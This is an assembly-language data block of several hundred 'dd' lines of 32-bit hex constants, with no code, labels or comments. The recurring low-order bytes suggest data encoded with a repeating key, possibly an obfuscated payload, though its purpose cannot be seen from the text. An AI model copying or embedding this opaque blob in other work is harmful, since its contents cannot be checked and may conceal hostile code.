dd 0FBE93256h, 0E9CED13Dh, 8F8CA6B6h, 8AA03B02h, 0BAB3D97Dh
dd 5DB1CB56h, 0AEB0BD59h, 57493256h, 0AA353D56h, 29B13256h
dd 0EAA0DB36h, 0CD6E3256h, 0E22EB906h, 0FD06C63Bh, 8A5250C7h
dd 31CF1F9Bh, 14A2FCD7h, 0DAB13237h, 0EAB12BDEh, 75A5DB56h
dd 0C8283256h, 1A725C83h, 4C702C84h, 0A4518394h, 0B62795B2h
dd 0D5B128E5h, 0EAB138BFh, 277AE456h, 70E4D3BAh, 5D26D741h
dd 0AEB1CA56h, 9C305436h, 0AE581F68h, 1BB13256h, 0D3A23E8Dh
dd 9CB13237h, 0BAB13259h, 0A255B981h, 0D18A6852h, 2CDBE852h
dd 0ABA4E4A1h, 0D5B8DB56h, 653F3256h, 0CF551AADh, 46195B10h
dd 0D8BE3256h, 0AEB1325Ah, 57B7B559h, 2FBE3256h, 0D5B13256h
dd 0E4583256h, 47B13256h, 0C8FFE418h, 53F176B2h, 64C2E60Bh
dd 37B13273h, 2A66B930h, 7BF026B0h, 0EAB1530Ch, 9C305436h
dd 7731CA57h, 4E58539Ah, 0DDB13256h, 27A95FA2h, 0D4DC1771h
dd 8C5CB610h, 0B7EC9309h, 75B1E6B7h, 413A5436h, 5DB138BFh
dd 4E9A3456h, 5350FBBh, 0CA9E4C89h, 3DD13256h, 0EAB13258h
dd 48549763h, 0F4A7661Ah, 0C380B9E4h, 26BE9662h, 57B13256h
dd 0AD58520Ch, 56B13256h, 6CA7CEADh, 75383D92h, 0DBB13256h
dd 3DB13237h, 0C8D1F8E4h, 36D1E3DDh, 0ABB15337h, 0D5A7BC59h
dd 0FB583256h, 50B13256h, 4DF6FCF2h, 2EAB7FD4h, 0EB00D366h
dd 6E307DD5h, 0AB493256h
dd 0D5BDDB56h, 56F73256h, 95DE53FEh, 949B96D7h, 5DB119E4h
dd 0AEB13CBFh, 32546F56h, 0B96BAE1Ah, 4B988E2Bh, 0EAA9F2EAh
dd 75B1CA56h, 0BAB120BFh, 9DD36E56h, 0FF250618h, 661B4233h
dd 18D553B9h, 0D5D23065h, 0EB383D56h, 89B13256h, 0BA443256h
dd 5DB1CA56h, 0AEB121BFh, 0D14E6456h, 0C8BEAF75h, 6AED0A5Bh
dd 0BF172782h, 0AC90977Fh, 35BE3256h, 5DB1324Eh, 0AEB121BFh
dd 0D2825E56h, 9390D010h, 0A5FFF696h, 93DAA40Bh, 8722D354h
dd 0A8583256h, 0F8B13256h, 0E4A58B0Bh, 0D8B1C34h, 9E66E6C7h
dd 5256725h, 0E53E3D50h, 9CB13256h, 0BAB1325Ch, 768EA5ABh
dd 8C8357FDh, 57B1BC89h, 0ABB122BFh, 59FBD456h, 0C8CCA234h
dd 60293466h, 6B525754h, 0A8B13292h, 0BC583256h, 8B13256h
dd 0A0680D43h, 3227797h, 0F2F0B52Fh, 0DAC0C002h, 0DAB1321Eh
dd 5DB2B859h, 63313256h, 57B15394h, 0ABB122BFh, 0F0823E56h
dd 0C32A6B77h, 0F2D8EDA5h, 2FF326A7h, 0B4B13283h, 0AEB13244h
dd 1B6F52D9h, 83B8CFF9h, 8974FC24h, 19463CECh, 75B11F3Bh
dd 0BAB126BFh, 28C6B556h, 6570AB2Ah, 7A9E41D1h, 548E790Eh
dd 9E57A85Fh, 0E6313D2Bh, 7AB13256h, 0BAB134DAh, 5D343D56h
dd 0AEB13256h, 5B3F3D56h, 42B13256h, 0D5B13251h, 0FDED2292h
dd 7576CBC1h, 0BAB1CE56h, 82305436h, 17D776F1h, 57D07BB4h
dd 0BF3D3D56h, 3CB13256h, 0EAB13259h, 911D1208h, 863E4B58h
dd 0A2E43646h, 0AE347F19h, 4658CA56h, 7DB13256h, 70A2EAEAh
dd 8D9AA9A5h, 85BF0F89h, 3EB05099h, 54583256h, 0FB13256h
dd 9B99C132h, 2A6DCB5h, 0D9583256h, 0A5B13256h, 0D0DCE963h
dd 0EAFC82BBh, 5D32CEE0h, 0AEB1CB56h, 57B139BFh, 0D5D9D656h
dd 0E1D86834h, 12FC5ABFh, 70583256h, 44B13256h, 94F1878Eh
dd 0A6583256h, 10B13256h, 0BAE76AB4h, 0D583ECF8h, 6AE75256h
dd 0FEEAD08Ch, 0BAB153AFh, 5DB13EBFh, 9ADBDF56h, 4A059E46h
dd 49BEA44Fh, 0D5B1CB46h, 0EAA1DA36h, 9CDF3256h, 2D1EBC4h
dd 2A67ABBDh, 4D525DACh, 944FBE1h, 0CEC4C1D7h, 0D5D05A02h
dd 0EF585256h, 73B13256h, 0DFB327CEh, 5DB13FBFh, 0BD469C56h
dd 1F8B162Ch, 7E1B1EEh, 0D5D086A2h, 0EAB6DB56h, 5683256h
dd 0B0C98828h, 3DB13220h, 0AEB121BFh, 2BD06556h, 0A2C55213h
dd 36732627h, 1F64F192h, 25A13AF5h, 0BAB13DBFh, 3AA61E56h
dd 0F960E6DDh, 5604C98Ch, 731EF343h, 0DAB13237h, 0EAB120D3h
dd 75BCDB56h, 2E703256h, 92DF1B7Ah, 4295E626h, 57CF0405h
dd 0ABB9DB56h, 47DE3256h, 622A4079h, 7358D2FDh, 2B13256h
dd 905D0C24h, 0A1B132D3h, 57B111D9h, 0A6595256h, 4AB13256h
dd 33E4A4F9h, 30E1C37h, 1B7B35FCh, 5DB8DB0Dh, 83FD3256h
dd 0F935FBF1h, 0CAE09E8Dh, 0C7583256h, 43B13256h, 0BBF37D38h
dd 904BAA43h, 7BB45872h, 937A5581h, 0AFB13294h, 0AB443256h
dd 0D5B9DB56h, 0F2293256h, 6181B2E3h, 0BAB19F65h, 5DB138BFh
dd 4542C756h, 0D5B5555Ch, 0ABD3BA5Ah, 0D5B1CA56h, 0EAB0BE59h
dd 8D4D3256h, 31D13256h, 0BF3054ADh, 0AED07BD4h, 57B1C756h
dd 0ABD0CE36h, 0D5B1CB56h, 0EABFDB36h, 32FE3256h, 8DA4F528h
dd 11B068DCh, 2118EE2Eh, 57B121BFh, 5AC75656h, 7EF36803h
dd 0FE3C9644h, 434ADFE8h, 0DECD78E0h, 0A4B13237h, 0A1D13256h
dd 57B130D1h, 534FB956h, 0B5D15237h, 0EA303D37h, 14B13256h
dd 0BAB3B359h, 3CD13256h, 0CEB13237h, 8F063D36h, 0ABB1BC59h
dd 64D03256h, 61BE5319h, 75B13258h, 0BAB13BBFh, 0E993EB56h
dd 0B139ADADh, 57B11738h, 24BEC736h, 0D5B13256h, 12B13237h
dd 0FFBE3256h, 0BAB13257h, 52B132A3h, 0AEB120D3h, 57BCDB56h
dd 23D53256h, 0F65A587Ch, 0C8D78366h, 75301C9Dh, 0BABFDB56h
dd 0AF4A3256h, 1DBA91E8h, 0B8DDF89Eh, 0D1C938A4h, 3DD13256h
dd 0EAB13245h, 9A9BF56Bh, 0E3D098D6h, 0F170F20Dh, 6F3E06C1h
dd 31B77437h, 1173DBD7h, 0B46BB80Ch, 0EAB137BFh, 1C2CDF56h
dd 0BAB13003h, 5DB139BFh, 3BB48156h, 3F801F68h, 37B4BA73h
dd 5FBE3256h, 0EAB13251h, 75B0B859h, 0BA483256h, 97305256h
dd 8ED5C653h, 364F8D59h, 0AB493256h, 0C33A3D56h, 0E5B13256h
dd 75B122D7h, 0BABADB56h, 77E93256h, 0CA1384Ch, 1718C5C2h
dd 0AD323D6Bh, 0B5B13256h, 98528A30h, 7AB13237h, 0BAB133DFh
dd 5DB1CE56h, 47B132AAh, 57B13258h, 129ECDA3h, 29386580h
dd 0B998094Ah, 75B1750Bh, 53B132AAh, 5DB13242h, 0D644B72h
dd 1FF11CFEh, 4CC68BE8h, 5E5B970Eh, 0D2546C5Fh, 15D13256h
dd 33CD2D7h, 8C304106h, 8335CD46h, 57B15337h, 0ABA2BC59h
dd 0DB583256h, 0AB13256h, 0AD7953BDh, 0A940BE19h, 7665C7DAh
dd 0BC3A3D78h, 0BEB13256h, 0ABB1325Bh, 72D36BFh, 4C3F8F03h
dd 0DF41B14Eh, 0B5B132E7h, 5DB13FDDh, 0AEB9DB56h, 80D93256h
dd 8A267D3Fh, 0D5B18B8Dh, 3042B336h, 15D4B9B8h, 7240B3AAh
dd 3CB86BD1h, 0AEB1CE37h, 813A5436h, 2F4E73EDh, 58BE5318h
dd 0EAB13257h, 7AB132AAh, 0BAB13ADFh, 0DCD75256h, 56DB1480h
dd 37B13237h, 0F3D05207h, 0D5B2B959h, 55BE3256h, 75B15397h
dd 0BAA7B259h, 4C583256h, 0B6B13256h, 0B0B407CFh, 4240D020h
dd 95BEEF5h, 0E76153F5h, 8CD13256h, 5AEC8C30h, 3DB13237h
dd 79418C30h, 57B3BA59h, 0F0E33256h, 29B13237h, 65BE3256h
dd 75B1325Ch, 0B5708736h, 5DB132D4h, 0AEB15356h, 37B132A3h
dd 20D77AE5h, 0D5B153A1h, 0EAB3B459h, 14D13256h, 38BE3256h
dd 5DB1325Bh, 0AEB13ABFh, 0FBD43756h, 120C7CEDh, 2CB13262h
dd 0ED583256h, 0F0B13256h, 622E3989h, 5258054Ah, 74B13256h
dd 93015C66h, 0FA9A2FE8h, 3AF64464h, 0EAB17871h, 75B0BC59h
dd 0BA4D3256h, 5DB1CB56h, 0CEB132AAh, 3743B2AFh, 0A4B13237h
dd 0D5B13ED9h, 30305256h, 79182A77h, 0C3D28830h, 3DB13237h
dd 0AEA1DB00h, 0EE813256h, 8E3E6AB7h, 0DE372553h, 0F49977A2h
dd 0FEEA5889h, 0BAB15381h, 5DB120BFh, 649C3356h, 1B7B9A09h
dd 34D2332Dh, 0DFDA9BF6h, 0EAB207B1h, 633B3D56h, 0DAB13256h
dd 5DB13EBFh, 36F03556h, 98854D0h, 1C04CBC3h, 22063D2Dh
dd 0EAB1CB37h, 75A0DB36h, 5F633256h, 14A18532h, 0A0546EC8h
dd 0F052E1FEh, 0CA96B5B9h, 0C5583256h, 75B13256h, 0B5BA604Eh
dd 1DB830C7h, 0FC214433h, 0AE16687Eh, 8F3B5256h, 0ABB1CA37h
dd 0D5ACBA59h, 6DBE3256h, 75B13241h, 0BAB120BFh, 21A29356h
dd 37350049h, 8B6F422Fh, 74FFFF81h, 0D529F60Ch, 0EAB1C756h
dd 75BEBE59h, 0B0583256h, 2CB13256h, 0B109564Eh, 0CD5A9108h
dd 0A4B13246h, 0D5B135DDh, 27315256h, 148380F0h, 0EBD13256h
dd 52EFF1DDh, 0AED0FBE1h, 57B1CB56h, 0ABB126BFh, 0FCB34356h
dd 0D9BC46C2h, 2E08B8E2h, 2835CFB6h, 0F42826F0h, 0CEB132F4h
dd 6378B330h, 0CA72B974h, 0DAD13256h, 0EAB131D2h, 8C0E3D56h
dd 0DBD8C5D6h, 5DB9BB59h, 2DBE3256h, 57B13254h, 0ABB15336h
dd 0D5B6B259h, 64BE3256h, 75B13257h, 53B132A3h, 5DB1325Dh
dd 6C4DD50Dh, 0A584C6EDh, 0AB06477Eh, 0B00F5256h, 52B7134Ch
dd 266AF6EFh, 0A9363D37h, 0B4B13256h, 0AEB13258h, 50E7B45Eh
dd 0B10385F0h, 5BD8B654h, 0EAB1BF0Ch, 0CF71B236h, 0E4EF6201h
dd 0A1B13237h, 0C8D13256h, 37D0FCDDh, 60063DA3h, 20B13237h
dd 0EAB6BE59h, 0FCBE3256h, 0BAB13257h, 52B132AAh, 0AEB134D5h
dd 863A5256h, 0ABD0F9DDh
dd 5E495256h, 67BE5389h, 75B13246h, 0BAB139BFh, 0E6E6FA56h
dd 0C08A395Dh, 6590AE1Fh, 0AB4D3256h, 0D5B7DB56h, 0B2C53256h
dd 0CC61BFFEh, 0BA483256h, 5DB1C756h, 0AEB123BFh, 0AEAD2856h
dd 26C96118h, 0A99265F6h, 33012BD9h, 75B1EE20h, 0BAB135BFh
dd 5B860356h, 0FB4622B3h, 52583256h, 0B4B13256h, 437BF820h
dd 0E5B132AFh, 75B12AD8h, 0BAA2DB56h, 49843256h, 0BBCAB270h
dd 4B022DD5h, 29F44416h, 0FD3710D5h, 3B1321Fh, 75B1325Dh
dd 80E68355h, 2D9299EFh, 0AE53558Eh, 5B333D56h, 42B13256h
dd 0D5B13251h, 0CDA32657h, 7599A721h, 0BAA0DB56h, 4E353256h
dd 26D32687h, 666187BEh, 0BCF81983h, 0D5A496CCh, 0EAB8DB56h
dd 342F3256h, 9400BA07h, 3D46A9D9h, 0C746B330h, 563B3D18h
dd 5EB13256h, 0DAB13237h, 0EAB122D6h, 75BADB56h, 16003256h
dd 0EC243431h, 0B8EE6A07h, 37B13261h, 2B6FEDD6h, 0D5D01F9Dh
dd 0EAB9DB56h, 0FFF33256h, 5C0DB631h, 5DB1C4A3h, 51A28936h
dd 5E593052h, 0A9B13256h, 0A163E798h, 8E08BF65h, 2D6BB930h
dd 0DAB13237h, 42174FE8h, 19BE6359h, 58D0689Fh, 0ABB13EDCh
dd 0D3303D56h, 0E5B13256h, 75B132D5h, 53B13256h, 5DB13253h
dd 5D1A5B0Dh, 0AEB13297h, 0CBB132A3h, 0B5EACA00h, 55698559h
dd 6D9D9C56h, 0BAB15337h, 0D57CB236h, 0AEB153AAh, 57B120BFh
dd 9EDFF56h, 0E95B8E3Eh, 2C992F6Bh, 0C1DB5F48h, 0BAD8F975h
dd 59333D56h, 0CEB13256h, 57D0CDE2h, 0A0585256h, 0D7B13256h
dd 62A1221Eh, 4D679250h, 0E8E00409h, 5DD06D0Eh, 0AEB1CA56h
dd 0F861B336h, 5EE2E179h, 29B13237h, 0EABCDB36h, 0D4EA3256h
dd 7A40A9D7h, 1158D251h, 46ECB876h, 57B13256h, 5E5BB30Ch
dd 0DAB728C7h, 0EAB13AD8h, 77373D56h, 0DAB13256h, 5DA5DB37h
dd 0D7643256h, 0C4EC7512h, 3DE4B78h, 0B8A8F0ECh, 5F57CEBDh
dd 0F03C1CD8h, 0BCA8BC8Ah, 0FE33BBAEh, 0A1B7282Fh, 57B126D3h
dd 0ABBEDB56h, 74ED3256h, 1C8106Ah, 9CDFA9DEh, 2D1EBC4h
dd 0E333BFBDh, 0A1B72931h, 57B133DFh, 2938C756h, 0D3AB4B93h
dd 55D7C736h, 9DD0B2F2h, 0BAB10148h, 5FDFDAAAh, 47483256h
dd 57B1325Dh, 0E586BB06h, 5FB70097h, 2DEAA015h, 6FC817D4h
dd 0BAB13250h, 5DB4DB56h, 89F73256h, 56573FDh, 0ABB137BFh
dd 536FE856h, 6F77CD8Ah, 73A5280Fh, 0E8D9C700h, 0A82D9AEEh
dd 0B46087A9h, 52583442h, 0D6B13256h, 9CB28C04h, 2D305436h
dd 0F1BEB37Fh, 0BAB13243h, 5DB122BFh, 87A92E56h, 1F1FC1F4h
dd 71847EFAh, 74E90107h, 6F3C5336h, 73A6B28Dh, 0BAA2B359h
dd 0DCBE3256h, 0AEB1325Bh, 57B13ABFh, 8A0B6356h, 0E6D78236h
dd 361CD31h, 75B1325Eh, 0B4BCA373h, 3FB33256h, 0B2E4B7DFh
dd 0DABE3442h, 0ABB13257h, 0B5B558AEh, 253A54AEh, 72585237h
dd 36B13256h, 0AD1784ACh, 2CBE2AC1h, 57B13254h, 0C3D0E4DDh
dd 0D5B12256h, 0E7F15AA3h, 13D13255h, 144D1E9h, 48054D15h
dd 57B15837h, 0DCBEE2A9h, 0ABB13242h, 0D5BBDB36h, 0BC213256h
dd 0AB926B4Fh, 0DF9E29BBh, 3C7E8559h, 0AF323D0Ch, 0AFB13256h
dd 2FBEF25Dh, 0D5B13372h, 0EAB0B059h, 0FC443256h, 0A0C817D4h
dd 56333D50h, 0CEB13256h, 0E247B330h, 490A54BCh, 57385328h
dd 0ECAB4B02h, 75B137BFh, 2B7FB456h, 4D58A1B6h, 6EB13256h
dd 2601D3B7h, 16EE37CBh, 1C4B3316h, 5346E627h, 75B23F16h
dd 0BC343D36h, 52B13256h, 0AEB132DAh, 57BFDB56h, 981A3256h
dd 62297ACCh, 0E1C8B32h, 859975FFh, 0AF353D37h, 3DB13256h
dd 0AEB13EBFh, 9B326656h, 1A483B3Ah, 0DC8BF51Bh, 8BD052D9h
dd 7258CADDh, 0EEB13256h, 0D67C70CAh, 6E8269ACh, 57BDDBAFh
dd 743256h, 6D9050F9h, 71B777E4h, 0DF4284AAh, 0DA4D60AAh
dd 3B49B930h, 0CF170BEEh, 3F48363Ch, 0ABB12256h, 0D5BCBA59h
dd 3D13256h, 75B13250h, 6219EFB5h, 0B4D09BF9h, 0AEB1325Ah
dd 794C80D6h, 45AB6415h, 45E537Eh, 0EAB5323Eh, 75DBCB56h
dd 0F656B236h, 76CEE0D7h, 0CED01641h, 0BE698D59h, 0ABB1325Eh
dd 0D410E97Fh, 0EA1CAF1Fh, 2023CD37h, 53B7264Ah, 5DB1325Dh
dd 7970DF0Ah, 0EAE1284Eh, 0F170ED4Dh, 2F33BBA3h, 1FB7282Dh
dd 75B8DB37h, 5D473256h, 37EB1F47h, 259A97ADh, 4DC817D3h
dd 6C315250h, 0D5BEDBDFh, 0B32B3256h, 9C19578h, 0C7803A9Ch
dd 1ADBD0Fh, 0A1725335h, 57B135D2h, 0AA313D56h, 2DB13256h
dd 6876CA36h, 73A532DBh, 0BAF13256h, 9033F5AFh, 0AEB7265Dh
dd 0BEB13246h, 0ABB13247h, 0E310E47Dh, 0F54BB51Ah, 9BEB1BF6h
dd 0EBDEEA3Eh, 9E4853D8h, 0A1D152AFh, 57B131DCh, 62063D56h
dd 0C12684EEh, 503A5320h, 73AB4B73h, 0BAB0BD59h, 0DE493256h
dd 2ABE3269h, 57B132B6h, 0ABB123BFh, 0EF44E056h, 636DEA09h
dd 0E6D5738Dh, 20F16291h, 2232A631h, 2ABE3046h, 57B13226h
dd 0ABB123BFh, 59000456h, 73E29765h, 0A4901FB8h, 651EACCCh
dd 223217A3h, 2ABE3646h, 57B1322Dh, 0AE3A3D36h, 0B3B13256h
dd 40C5E8D7h, 0C4FC8830h, 0BAB4DB37h, 8F143256h, 2DCD7FF2h
dd 45582691h, 70B13256h, 694353E3h, 0DCBD2282h, 0E87D10D7h
dd 0EF093864h, 0A2CCDB1Dh, 21BECDA9h, 57B13246h, 0ABB139BFh
dd 39E3F956h, 0FD7B67B7h, 9806A5B3h, 0BBA17591h, 52B13256h
dd 0AEB12ADFh, 0D6D75256h, 43FD7384h, 0D5B1325Dh, 0B26B9070h
dd 8291FD48h, 0E21A85B3h, 0A210DB37h, 6948CDA9h, 57B22211h
dd 21BE3256h, 0D5B1325Eh, 0EAB3B359h, 14D13256h, 454EB4BFh
dd 5DB7DBA9h, 2B3256h, 0DD6F2C7h, 0ABBFDB37h, 0B7E33256h
dd 6D99D6F0h, 8F1F8750h, 9FF2A136h, 0EABE5295h, 464D5286h
dd 57B1325Ch, 3B85D8D2h, 5F2505C9h, 8BEA25CFh, 64586737h
dd 84B13256h, 44AF2870h, 9EF0DD47h, 804F4B39h, 18F21379h
dd 0B549DEDDh, 0EAB0B459h, 9D483256h, 0BAB13256h, 345BB30Ch
dd 5BB728C0h, 0DABE5236h, 0ABB13256h, 0B4778D59h, 3D0FEDCh
dd 75B13246h, 12600D0Bh, 7F6C96Ah, 30350B4Ah, 0BF0A1447h
dd 0D7A380DDh, 55D1344Ch, 5AE726BFh, 8CD069FFh, 53B977DDh
dd 5DB13251h, 0D64B6435h, 0BE2C0E9Ch, 0ABB13253h, 7916387Dh
dd 3B7BB2Bh, 75B1325Ah, 0FCBF29D0h, 974D9D33h, 5645F2DEh
dd 2BA3B0D5h, 57B5344Ch, 0D4303D37h, 16B13256h, 7173CE9Fh
dd 0BABADB56h, 0FAE73256h, 311C10FEh, 0CCBDD15Ch, 434852C4h
dd 0D5B13256h, 175BB30Ch, 89B728C0h, 4003B9AEh, 3DB7282Dh
dd 834EF4D7h, 1A0E1865h, 0CABE391Dh, 0A9A3806Dh, 6EBE344Ch
dd 75B13329h, 0BAB0B359h, 0D6483256h, 0BB353D68h, 0BEB13256h
dd 0ABB13246h, 0C1DC4AE5h, 28A4EA88h, 0F280004Ch, 9B43969Fh
dd 5249EDDDh, 5BB07DE0h, 57B0B659h, 5D4D3256h, 0DA313311h
dd 0EAB174D3h, 75BCDB56h, 0F18D3256h, 3A91ADB5h, 4AEBCDACh
dd 0AE0E1AFAh, 4248EB55h, 0D5B1321Eh, 0D05AB236h, 75B120BFh
dd 51D48856h, 0C0328162h, 754056F9h, 77B8D7BFh, 0CAFE6AF7h
dd 0D5B138BFh, 0E5A7D556h, 1A4FF334h, 91F0F871h, 48313D8Fh
dd 47B13256h, 57B13246h, 27B2E11Eh, 717B4213h, 9F56F893h
dd 0A78F323Ah, 0DAF2C715h, 5DA0B759h, 0A2583256h, 31B13256h
dd 558DCF5Eh, 8B6B12EAh, 5470FF26h, 4A25F80Bh, 4F34B937h
dd 52B72652h, 0AEB12BD2h, 57A5DB56h, 8EDF3256h, 1346D9A8h
dd 802640A5h, 0F6773560h, 0ACDB4590h, 0D03A3B42h, 0A8A521F7h
dd 0D1BE6236h, 0ABB13256h
dd 50BE5308h, 0EAB13251h, 75B0B759h, 81443256h, 68333D8Eh
dd 5BB13256h, 0D0BEEB6Dh, 0ABB1327Ah, 0D177B1A3h, 5DBE5236h
dd 141E82A9h, 31BE53AEh, 5DB13250h, 0D3095436h, 965853F4h
dd 0A44ECDA8h, 0D5B135D7h, 0EB3A3D56h, 80B13256h, 3EBEFD6Dh
dd 5DB13261h, 0AEBBBB59h, 52583256h, 29B13256h, 0C14DF326h
dd 0F9108FDFh, 0F9BE3442h, 0BAB13243h, 5DB9DB36h, 66783256h
dd 0F30EDE66h, 29BE61CEh, 0D5B13256h, 14D2DB37h, 144DCDA9h
dd 0BAB137BFh, 2EB0D956h, 0CE72F237h, 57B3BA59h, 673B3256h
dd 0D5B13ABFh, 1569AA56h, 4EDEF0BEh, 0B4585324h, 0A5B13256h
dd 0AE5BAA73h, 0FA30499Ah, 9D1FCBEAh, 0B54952F5h, 2CC9D2D7h
dd 0A23B7D6Fh, 0BAB1DA37h, 0DCEB3256h, 0B429D9BCh, 42313D50h
dd 0A4B13256h, 0D5B13DDDh, 0EABBDB56h, 20173256h, 6390977Fh
dd 1CDF3183h, 0AEB126BFh, 9D5F7E56h, 1CFFE704h, 0B626439Ch
dd 72BFA783h, 0E30072DBh, 0B7363DE1h, 3DB13256h, 8206F5ECh
dd 57323D53h, 0CAB13256h, 2F0BB9A3h, 3B7282Dh, 75B13259h
dd 35356A76h, 135705C7h, 7ECBA514h, 3718445Ah, 740A5436h
dd 4D59B389h, 8BFE8DAEh, 75B0B059h, 0DB483256h, 5DB032EFh
dd 0AEA0DB56h, 66283256h, 2B84E06Ah, 0C367F4E6h, 7C73CB7Eh
dd 8DBEBD14h, 3ABEF265h, 5DB13247h, 703A5436h, 57B135BFh
dd 0DEC8B656h, 53947498h, 31AC137h, 75B13245h, 9905583Bh
dd 0F98A5B9Dh, 71C20542h, 0D7D163BFh, 20B552A3h, 0CFCAC8D4h
dd 52D75250h, 9C3165D8h, 383853D2h, 5BAB4E44h, 0F30F5436h
dd 543F3DACh, 2BB13256h, 29D0DEA0h, 5DBE5237h, 0B5305499h
dd 79D0BCFCh, 5DB8DB36h, 0BD023256h, 550F7140h, 43591C96h
dd 0D5B1325Dh, 0A9256CC0h, 0A492A8E2h, 0B56044D2h, 3CEEC2E9h
dd 16035236h, 57B1DA37h, 2AEB3256h, 0CF2B25BCh, 0E5E35250h
dd 75B132DDh, 0B5596856h, 0F9B13256h, 0BA7C2733h, 49AA4428h
dd 0EE2C037Eh, 63A23F1h, 61BE530Eh, 75B1325Ah, 0BAB7BC59h
dd 0DEBE3256h, 0AEB13256h, 4DE8B790h, 0CBE73442h, 877B8559h
dd 5263C0D7h, 14EF22C5h, 0BAB0BD59h, 35483256h, 7AAE5F6Fh
dd 55363D36h, 20B13256h, 0B44E8699h, 0F06087A9h, 0F4D13442h
dd 5E8F8397h, 0BF30545Eh, 47D01F01h, 57B13253h, 0B1192F6h
dd 0E34BFF6h, 3B725D6h, 75B1325Bh, 64F4882Bh, 0ED05649h
dd 520EC603h, 874ECB2Ch, 0ABB13CBFh, 87C6656h, 0E4574534h
dd 78DE33Dh, 0E8E9EB0Ch, 0D3BE62A3h, 0AEB1325Eh, 57B3B059h
dd 0CAD13256h, 0D531323Eh, 60D15256h, 0F20B5493h, 0B5D15357h
dd 7E05E0E1h, 0AEDB5337h, 0E54EC7A3h, 0ADAB4B73h, 0DB378D36h
dd 5DBE3D51h, 0A54E53A4h, 38BE6AAEh, 5DB13257h, 23BE68AEh
dd 57B13251h, 713A5436h, 0BDD05336h, 0EAB1B256h, 89B158AAh
dd 0C14B80A9h, 0DDBE344Ch, 0AEB13257h, 0BE61CDAAh, 0ABB13242h
dd 2DF14C00h, 805F9EF4h, 2B3D74E1h, 0FECE49E4h, 0D5CFFC2Bh
dd 413B5237h, 0E8D1F137h, 0F486D10Fh, 0A9C28B30h, 6BBE6737h
dd 75B1325Eh, 0BAB3B859h, 3CD13256h, 0BA58DEDDh, 0FAB13256h
dd 22A42B8Ch, 9279B494h, 0A8968557h, 0EEC7CCE0h, 0DA36481Ah
dd 91095436h, 240A5431h, 575953E8h, 0F1B13256h, 4E29D8D7h
dd 349344Ch, 75B13244h, 0AFDF7D9Ch, 0B904A66Eh, 0F1A05B27h
dd 623E3BFh, 0DE3A0FEDh, 0D4333D5Eh, 1FB13256h, 75BC9BBEh
dd 0B2353D56h, 52B13256h, 0AEB130D5h, 2D05256h, 0ABB13CBFh
dd 1B301856h, 9B0DD7CCh, 0C06C6CA7h, 454F80E5h, 47C891C4h
dd 0A1585250h, 0DEB13256h, 79F53CDFh, 0F952D81Bh, 0ACBADA18h
dd 9CD067CEh, 0BAB1325Eh, 0C71DBCF5h, 519638FDh, 563F3D0Bh
dd 52B13256h, 0C67BB236h, 0E6C40937h, 8A2BB759h, 0B758CDA9h
dd 84B13256h, 9FF36AE8h, 47543461h, 0EAB167A1h, 0D5BC03BEh
dd 6BD75256h, 0C7AA41B5h, 53D05349h, 5DB13253h, 0B867F4E6h
dd 9548FB7Eh, 0FE44325Eh, 0D5BDB559h, 66BE3256h, 75B13250h
dd 0BAB1B459h, 0B13A3256h, 0A858CA36h, 8BB13256h, 23815646h
dd 11325370h, 0E0393DAAh, 15B13256h, 73306D04h, 6A93D750h
dd 2DBE6437h, 57B13242h, 0ABB13DBFh, 97B6C056h, 0FF45E900h
dd 42DD4010h, 8DE7040Dh, 52E2C701h, 0AEB135DAh, 563E3D56h
dd 5EB13256h, 0D5B132BEh, 306856h, 73ABAEE8h, 0BAB137BFh
dd 0E6B40356h, 0CE44A797h, 57B2BA59h, 20D73256h, 0B46BB9A7h
dd 0E5B947DDh, 75B134D2h, 0B5485256h, 0D6D0F0E1h, 0BF58222Bh
dd 7BB13256h, 3A7B6517h, 0F6D89132h, 2888AF8h, 6AF5231Ah
dd 0BABBDB01h, 0ABE33256h, 436A8723h, 0B4B0C9C0h, 0BB595200h
dd 0D1B13256h, 2CF9CAE0h, 0DD44EA68h, 67B56AF6h, 0D6199CC5h
dd 19BE6BAFh, 2C5953A6h, 5EB13257h, 51BEF25Dh, 0EAB132F2h
dd 75B0B159h, 31483256h, 5DB8DBAEh, 4CBA3256h, 13F009E2h
dd 0FE8B4499h, 0D5B6B759h, 6CBE3256h, 75B13257h, 1923CDAFh
dd 0A8B7282Fh, 0A4393D0Bh, 0BEB13256h, 0ABB13253h, 536A4AF7h
dd 0E6C409A1h, 75EFB659h, 0B5D13256h, 5DB134D6h, 555EB356h
dd 5893553Ah, 0ABB133D4h, 0B3D0CE56h, 6ABE2CDDh, 75B13244h
dd 6D51B336h, 0B4EEABD8h, 0AEB13253h, 0BC04B7D6h, 4C3153F2h
dd 1A0752A6h, 8B7DD7D6h, 8CD12CDCh, 0DB48CA36h, 0BE31CB37h
dd 0AF3E3DA6h, 0AEB13256h, 0AB95F0BEh, 3E3B5256h, 0CB5853AEh
dd 804ECDA9h, 4F4D4FDFh, 0A24612BEh, 0A53D3DA9h, 37B13256h
dd 0A461B930h, 0D5B132D9h, 6CBE5356h, 75B1325Ah, 0BAB135BFh
dd 609B7F56h, 643B75FDh, 57BFDB0Dh, 55293256h, 0ACE674B6h
dd 56D02580h, 149EA57Bh, 3BD75209h, 3C9D98B9h, 0AEA5DB08h
dd 0C0CC3256h, 2C9F4BE9h, 159150AAh, 0B669ED4Ah, 0E7232A89h
dd 3148AC82h, 0B5D1CE13h, 0AEB13244h, 0F0C152Eh, 50A0BF2Dh
dd 5242634Ch, 6675BCBDh, 7958E402h, 0AAB13256h, 0B8EDAC1Fh
dd 4D629A58h, 0E36DDF1h, 0CA67B930h, 1F063D36h, 0EAB2B659h
dd 80313256h, 5378539Eh, 5DB13246h, 8BE736ADh, 3671600h
dd 68F33076h, 0B2573C2Dh, 8AB13E94h, 0E8EEC6EFh, 0BAB6DB36h
dd 0FA963256h, 96C230F5h, 0AFE45304h, 2848DEDDh, 8248CA92h
dd 0EAB0BA59h, 23443256h, 0BAB138BFh, 23920B56h, 0CFF1EFDDh
dd 37F77041h, 2A0BD4D6h, 70C0C89h, 0E5E0536Ah, 75B121D1h
dd 0BABFDB56h, 1B763256h, 7EE8A6CAh, 5C503843h, 66E72EFFh
dd 0D5A0DB05h, 7F7C3256h, 0CFCCEA60h, 0DEAEEC13h, 0A9E46137h
dd 69CBCEE9h, 57B1CA13h, 27BE3256h, 0D5B13257h, 6876CBAEh
dd 73AB49F4h, 0BAB13257h, 5DA0BE59h, 0A2583256h, 18B13256h
dd 5EB13B53h, 0E780E5B6h, 617AC0C0h, 7AD13A23h, 0BAB131D2h
dd 0AD0E3D56h, 25E48D30h, 493A5437h, 8E0BB9AFh, 29B7282Fh
